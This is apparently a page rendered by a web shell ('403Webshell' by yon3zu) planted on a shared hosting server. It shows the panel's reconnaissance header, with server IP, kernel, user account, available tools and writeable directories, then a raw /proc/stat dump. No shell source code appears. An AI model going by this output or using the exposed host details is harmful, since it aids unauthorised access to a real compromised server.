403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//stat
cpu  19478086819 234306544 5283644177 12570275060 1248692246 355716618 436779981 2023971 0 0
cpu0 884508653 10674018 239719241 572144959 56721515 15205559 21430934 93096 0 0
cpu1 883210876 10643732 239879024 572292090 57886273 15093622 20621778 92280 0 0
cpu2 886135208 10646692 239719763 571868074 56906405 14926651 20122885 90372 0 0
cpu3 887310155 10661456 239460905 571228149 56864222 14929599 19866547 90290 0 0
cpu4 887796080 10682207 239649953 572212121 57102656 14925408 17962221 90152 0 0
cpu5 888311010 10690913 239501784 571973566 57072486 14924531 17864590 90003 0 0
cpu6 888421042 10659450 239379456 572050547 57075081 14913991 17828720 89991 0 0
cpu7 888648120 10681736 239413488 571883653 57053064 14917717 17744502 89902 0 0
cpu8 886299526 10653609 240105549 571758816 56995989 14926175 19592767 90319 0 0
cpu9 886447760 10696011 239885312 571944127 56945174 14927386 19485946 90161 0 0
cpu10 883817815 10617092 236996043 569127316 56083030 25959652 17837317 97250 0 0
cpu11 887525935 10649762 239608309 571449061 56837361 14904418 19392208 89742 0 0
cpu12 886892753 10616281 239890713 571736748 56942053 14906311 19369360 89921 0 0
cpu13 873401091 10540118 244715223 568284475 55884641 17205090 30494392 103319 0 0
cpu14 877648673 10574497 242738767 569267597 56113465 17503787 26731258 101894 0 0
cpu15 886398282 10672054 239776330 571860933 56931711 15129381 19481597 90119 0 0
cpu16 886025190 10663721 241382188 571318590 56635472 14924193 19377565 89707 0 0
cpu17 885619544 10676508 241131241 571838956 56769276 14922903 19373436 89763 0 0
cpu18 885705873 10653583 241188638 571918045 56661417 14910886 19349794 89540 0 0
cpu19 885792916 10651082 241194255 571895711 56578535 14910815 19354074 89682 0 0
cpu20 887216842 10650249 240688465 572646178 56754417 14875225 17552982 89411 0 0
cpu21 884953466 10651762 237619519 569575336 55877991 25873307 15945098 97045 0 0
intr 173838475703 173 83 0 0 2683 0 0 0 5 0 0 0 378 0 17817749 0 0 0 0 0 0 0 0 0 0 0 0 2734845228 2668551622 0 50 5 1080573833 501959107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 612493813564
btime 1741770552
processes 1367040232
procs_running 33
procs_blocked 0
softirq 126708134784 1 3882731408 22339 1637989596 222558563 0 782374266 605204691 27004352 3586132576

Youez - 2016 - github.com/yon3zu
LinuXploit